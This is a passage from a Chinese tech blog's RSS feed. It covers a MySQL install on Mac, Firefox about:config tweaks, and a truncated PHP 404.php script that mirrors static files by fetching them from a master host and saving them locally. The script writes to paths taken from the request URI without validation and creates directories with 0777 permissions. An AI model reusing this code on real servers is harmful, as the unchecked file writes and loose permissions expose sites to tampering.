<p>我这里选择dmg安装的,你也可以选择源码自己编译,去mysql官方下载dmg包,一路点下去就可以,完成后在系统编好设置里有个开关来启动和停用mysql.你也可以在终端输入命令来启动.基本操作和linux下大部分完全一样的.<br />
<code>/usr/local/mysql/bin/mysql</code></p>
<p><strong>开发工具推荐还是用官方zendstudio吧.有dmg包.</strong></p>
<p>到此就完了,是不是很简单呢.如果想自己编译的话可以参考:</p>
<p>http://www.procata.com/blog/archives/2007/10/28/working-with-php-5-in-mac-os-x-105/</p>
<p>http://www.dongyl.com/knowledge-base/2-macintosh/23-how-to-setup-mamp-under-mac-os-x-106-snow-leopard.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/mac-snow-leopard-apache-mysql-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于解决firefox吃内存，慢，卡等问题方法收集备份</title>
		<link>http://www.ieliwb.com/firefox-config-memory/</link>
		<comments>http://www.ieliwb.com/firefox-config-memory/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 15:23:00 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[firefox]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/%e5%85%b3%e4%ba%8e%e8%a7%a3%e5%86%b3firefox%e5%90%83%e5%86%85%e5%ad%98%ef%bc%8c%e6%85%a2%ef%bc%8c%e5%8d%a1%e7%ad%89%e9%97%ae%e9%a2%98%e6%96%b9%e6%b3%95%e6%94%b6%e9%9b%86%e5%a4%87%e4%bb%bd/</guid>
		<description><![CDATA[<p><strong>firefox上打开about:config修改或添加配置：</strong></p>
<blockquote><p>
# network.http.pipelining<br />
在 Filter 中输入 network.http.pipelining，双击赋值为 true，默认为 false。如果没有找到这个键值，可以右键新建一个 Boolean，把它赋值为 [......]</p></blockquote><p class='read-more'><a href='http://www.ieliwb.com/firefox-config-memory/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><strong>firefox上打开about:config修改或添加配置：</strong></p>
<blockquote><p>
# network.http.pipelining<br />
在 Filter 中输入 network.http.pipelining，双击赋值为 true，默认为 false。如果没有找到这个键值，可以右键新建一个 Boolean，把它赋值为 true 就 OK 了。</p>
<p># network.http.pipelining.maxrequests<br />
在 Filter 中输入 network.http.pipelining.maxrequests，双击并赋值为 8或更大，默认键值为 4。<br />
# network.http.proxy.pipelining<br />
在 Filter 中输入 network.http.proxy.pipelining，双击并赋值为 true。</p>
<p># network.dns.disableIPv6<br />
在 Filter 中输入 network.dns.disableIPv6，双击并赋值为 true。</p>
<p># content.interrupt.parsing<br />
右键新建 Boolean 值，键名为 content.interrupt.parsing，赋值 true。</p>
<p># content.max.tokenizing.time<br />
右键新建 Integer 值，键名为 content.max.tokenizing.time，赋值 2250000。</p>
<p># content.notify.interval<br />
右键新建 Integer 值，键名为 content.notify.interval，赋值 750000。</p>
<p># content.notify.ontimer<br />
右键新建 Boolean 值，键名为 content.notify.ontimer，赋值 true。</p>
<p># content.notify.backoffcount<br />
右键新建 Integer 值，键名为 content.notify.backoffcount，赋值 5。</p>
<p># content.switch.threshold<br />
右键新建 Integer 值，键名为 content.switch.threshold ，赋值 750000。</p>
<p># nglayout.initialpaint.delay<br />
右键新建 Integer 值，键名为 nglayout.initialpaint.delay，赋值 0。</p>
<p>＃config.trim_on_minimize<br />
右键新建Boolean值，键名为config.trim_on_minimize，选true</p>
<p>大部分来自：http://www.firefoxchina.org/<br />
google
</p></blockquote>
<p>关于原因google一下就知道。仅做备份。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/firefox-config-memory/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>利用http 404错误实现镜像同步功能</title>
		<link>http://www.ieliwb.com/http-404-mirror/</link>
		<comments>http://www.ieliwb.com/http-404-mirror/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 03:41:02 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[mirror]]></category>
		<category><![CDATA[php，404]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/%e5%88%a9%e7%94%a8http-404%e9%94%99%e8%af%af%e5%ae%9e%e7%8e%b0%e9%95%9c%e5%83%8f%e5%90%8c%e6%ad%a5%e5%8a%9f%e8%83%bd/</guid>
		<description><![CDATA[<blockquote><p>利用404错误做简易镜像同步功能，只针对html文件和图片等静态文件</p></blockquote>
<p><strong>实现方法：</strong></p>
<p>后台服务器：绑定2个域名，www.xxx.com 和 jx.xxx.com 主域（cms域，可以放在双线服务器上）</p>
<p>1号服务器：www.xxx.com 镜像站点1（电信1）<br />
2号服务器：www.xxx.com 镜像站点[......]</p><p class='read-more'><a href='http://www.ieliwb.com/http-404-mirror/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<blockquote><p>利用404错误做简易镜像同步功能，只针对html文件和图片等静态文件</p></blockquote>
<p><strong>实现方法：</strong></p>
<p>后台服务器：绑定2个域名，www.xxx.com 和 jx.xxx.com 主域（cms域，可以放在双线服务器上）</p>
<p>1号服务器：www.xxx.com 镜像站点1（电信1）<br />
2号服务器：www.xxx.com 镜像站点2（电信2）</p>
<p>3号服务器：www.xxx.com 镜像站点3（网通1）<br />
4号服务器：www.xxx.com 镜像站点4（网通2）</p>
<p>&#8230;&#8230;&#8230;.more&#8230;&#8230;&#8230;&#8230;&#8230;</p>
<p>域名www.xxx.com需要作智能DNS解析，使不同地区的人访问不同的镜像。</p>
<p><strong>原理简介：</strong><br />
当你所在位置在网通1，访问www.xxx.com/a.html时，DNS智能解析被分配到3号服务器上，由于第一次访问时3号服务器上文件a.html并不存在,只是在后台服务器上有，3号服务器http此时将触发一个404页面不存在的错误，本文就是利用这个404来做镜像同步的，我们可以把404跳转页面指定到404.php，如apache添加配置：</p>
<blockquote><p>ErrorDocument	404	/404.php</p></blockquote>
<p>利用404.php来抓取cms后台服务器上(由于www.xxx.com做了智能解析，所以需绑定jx.xxx.com，通过抓取jx.xxx.com/a.html保存到本地)的内容并保存在本地，并输出抓取的数据确保即使是第一次访问也是成功的。以后访问a.html由于文件已经在本地了，所有直接返回本地数据（没有触发404错误）。</p>
<p><strong>404.php代码：</strong></p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">/**<br />&nbsp;+------------------------------------------------------------------------------<br />&nbsp;* HXPHP Mirror Fetch For Pictures OR Html File<br />&nbsp;+------------------------------------------------------------------------------<br />&nbsp;*</span><span style="color: Blue;"> @Author </span><span style="color: #ffa500;">ieliwb&lt;</span><span style="color: Blue;">ieliwb@gmail.com</span><span style="color: #ffa500;">&gt;<br />&nbsp;*</span><span style="color: Blue;"> @Copyright </span><span style="color: #ffa500;">(c)</span><span style="color: Blue;"> www.ieliwb.com</span><span style="color: #ffa500;"><br />&nbsp;+------------------------------------------------------------------------------<br />&nbsp;*/</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #ffa500;">//var_dump($_SERVER);</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//exit();</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Blue;">header</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Pargma:no-cache</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">header</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Cache-Control:no-cache</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;<br /></span><span style="color: #00008b;">$host</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Red;">http://jx.xxx.com</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//主镜像域</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$path</span><span style="color: Gray;"> = </span><span style="color: Blue;">trim</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_SERVER</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">REQUEST_URI</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//抓取路径</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #00008b;">$ext</span><span style="color: Gray;"> = </span><span style="color: Blue;">GetExt</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;<br /></span><span style="color: #ffa500;">//自动抓取远程静态文件本地化处理</span><span style="color: Gray;"><br /></span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">in_array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$ext</span><span style="color: Gray;">,</span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">gif</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">jpeg</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">jpg</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">png</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">bmp</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">js</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">html</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">htm</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">shtml</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)))</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">//抓取兄弟镜像文件保存到本地</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">writeToFile</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Gray;">,</span><span style="color: Blue;">fetchFile</span><span style="color: Olive;">(</span><span style="color: #00008b;">$host</span><span style="color: Gray;">.</span><span style="color: #00008b;">$path</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">//返回数据流</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$path</span><span style="color: Gray;"> = </span><span style="color: Blue;">dirname</span><span style="color: Olive;">(</span><span style="color: Green;">__FILE__</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #00008b;">$path</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//取本地绝对路径，避免出现不必要的错误</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">switch</span><span style="color: Olive;">(</span><span style="color: #00008b;">$ext</span><span style="color: Olive;">)</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">case</span><span style="color: Gray;"> </span><span style="color: #8b0000;">'</span><span style="color: Red;">gif</span><span style="color: #8b0000;">'</span><span style="color: Gray;">:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;!</span><span style="color: Blue;">function_exists</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">imagecreatefromjpeg</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: Green;">exit</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">header</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Content-type: image/gif</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$im</span><span style="color: Gray;"> = </span><span style="color: Blue;">imagecreatefromgif</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">imagegif</span><span style="color: Olive;">(</span><span style="color: #00008b;">$im</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">break</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">case</span><span style="color: Gray;"> </span><span style="color: #8b0000;">'</span><span style="color: Red;">png</span><span style="color: #8b0000;">'</span><span style="color: Gray;">:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;!</span><span style="color: Blue;">function_exists</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">imagecreatefromjpeg</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: Green;">exit</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">header</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Content-type: image/png</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$im</span><span style="color: Gray;"> = </span><span style="color: Blue;">imagecreatefrompng</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">imagepng</span><span style="color: Olive;">(</span><span style="color: #00008b;">$im</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">break</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">case</span><span style="color: Gray;"> </span><span style="color: #8b0000;">'</span><span style="color: Red;">jpg</span><span style="color: #8b0000;">'</span><span style="color: Gray;">:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">case</span><span style="color: Gray;"> </span><span style="color: #8b0000;">'</span><span style="color: Red;">jpeg</span><span style="color: #8b0000;">'</span><span style="color: Gray;">:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">case</span><span style="color: Gray;"> </span><span style="color: #8b0000;">'</span><span style="color: Red;">bmp</span><span style="color: #8b0000;">'</span><span style="color: Gray;">:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;!</span><span style="color: Blue;">function_exists</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">imagecreatefromjpeg</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: Green;">exit</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">header</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Content-type: image/jpeg</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$im</span><span style="color: Gray;"> = </span><span style="color: Blue;">imagecreatefromjpeg</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">imagejpeg</span><span style="color: Olive;">(</span><span style="color: #00008b;">$im</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">break</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">default</span><span style="color: Gray;"> :<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">break</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">exit</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #ffa500;">//取远程文件内容</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">fetchFile</span><span style="color: Olive;">(</span><span style="color: #00008b;">$url</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">function_exists</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">curl_init</span><span style="color: #8b0000;">'</span><span style="color: Olive;">))</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$ch</span><span style="color: Gray;"> = </span><span style="color: Blue;">curl_init</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: Blue;">curl_error</span><span style="color: Olive;">(</span><span style="color: #00008b;">$ch</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">curl_setopt</span><span style="color: Olive;">(</span><span style="color: #00008b;">$ch</span><span style="color: Gray;">,</span><span style="color: Blue;">CURLOPT_URL</span><span style="color: Gray;">,</span><span style="color: #00008b;">$url</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">curl_setopt</span><span style="color: Olive;">(</span><span style="color: #00008b;">$ch</span><span style="color: Gray;">,</span><span style="color: Blue;">CURLOPT_RETURNTRANSFER</span><span style="color: Gray;">,</span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: Blue;">curl_exec</span><span style="color: Olive;">(</span><span style="color: #00008b;">$ch</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: Blue;">curl_error</span><span style="color: Olive;">(</span><span style="color: #00008b;">$ch</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">curl_close</span><span style="color: Olive;">(</span><span style="color: #00008b;">$ch</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">else</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$url</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$data</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #ffa500;">//写入本地数据</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">writeToFile</span><span style="color: Olive;">(</span><span style="color: #00008b;">$file</span><span style="color: Gray;">,</span><span style="color: #00008b;">$data</span><span style="color: Gray;">,</span><span style="color: #00008b;">$method</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Red;">rb+</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #00008b;">$isflock</span><span style="color: Gray;"> = </span><span style="color: Maroon;">1</span><span style="color: Gray;">,</span><span style="color: #00008b;">$ischeck</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">,</span><span style="color: #00008b;">$ischmod</span><span style="color: Gray;"> = </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> <br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$file</span><span style="color: Gray;"> = </span><span style="color: Blue;">dirname</span><span style="color: Olive;">(</span><span style="color: Green;">__FILE__</span><span style="color: Olive;">)</span><span style="color: Gray;"> . </span><span style="color: #00008b;">$file</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">createDir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$file</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$ischeck</span><span style="color: Gray;"> &amp;&amp; !</span><span style="color: Blue;">file_exists</span><span style="color: Olive;">(</span><span style="color: #00008b;">$file</span><span style="color: Olive;">)</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: Green;">exit</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">&lt;font color=&quot;red&quot;&gt;Forbidden!&lt;/font&gt;</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">touch</span><span style="color: Olive;">(</span><span style="color: #00008b;">$file</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$fp</span><span style="color: Gray;"> = </span><span style="color: Blue;">fopen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$file</span><span style="color: Gray;">,</span><span style="color: #00008b;">$method</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$isflock</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: Blue;">flock</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">,</span><span style="color: Blue;">LOCK_EX</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">,</span><span style="color: #00008b;">$data</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$method</span><span style="color: Gray;"> == </span><span style="color: #8b0000;">'</span><span style="color: Red;">rb+</span><span style="color: #8b0000;">'</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: Blue;">ftruncate</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">,</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">flock</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">,</span><span style="color: Blue;">LOCK_UN</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">fclose</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$ischmod</span><span style="color: Gray;"> &amp;&amp; </span><span style="color: Blue;">chmod</span><span style="color: Olive;">(</span><span style="color: #00008b;">$file</span><span style="color: Gray;">,</span><span style="color: Maroon;">0755</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;<br /></span><span style="color: #ffa500;">//取后缀</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">GetExt</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">strtolower</span><span style="color: Olive;">(</span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;">,</span><span style="color: Blue;">strrpos</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">.</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">+</span><span style="color: Maroon;">1</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #ffa500;">//创建目录</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">createDir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Gray;">,</span><span style="color: #00008b;">$mode</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0777</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$path</span><span style="color: Gray;"> = </span><span style="color: Blue;">dirname</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Blue;">is_dir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">))</span><span style="color: Gray;"> </span><span style="color: Blue;">createDir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Blue;">file_exists</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">))</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$mk</span><span style="color: Gray;"> = </span><span style="color: Blue;">mkdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Gray;">,</span><span style="color: #00008b;">$mode</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">chmod</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Gray;">,</span><span style="color: #00008b;">$mode</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Green;">empty</span><span style="color: Olive;">(</span><span style="color: #00008b;">$mk</span><span style="color: Olive;">))</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br 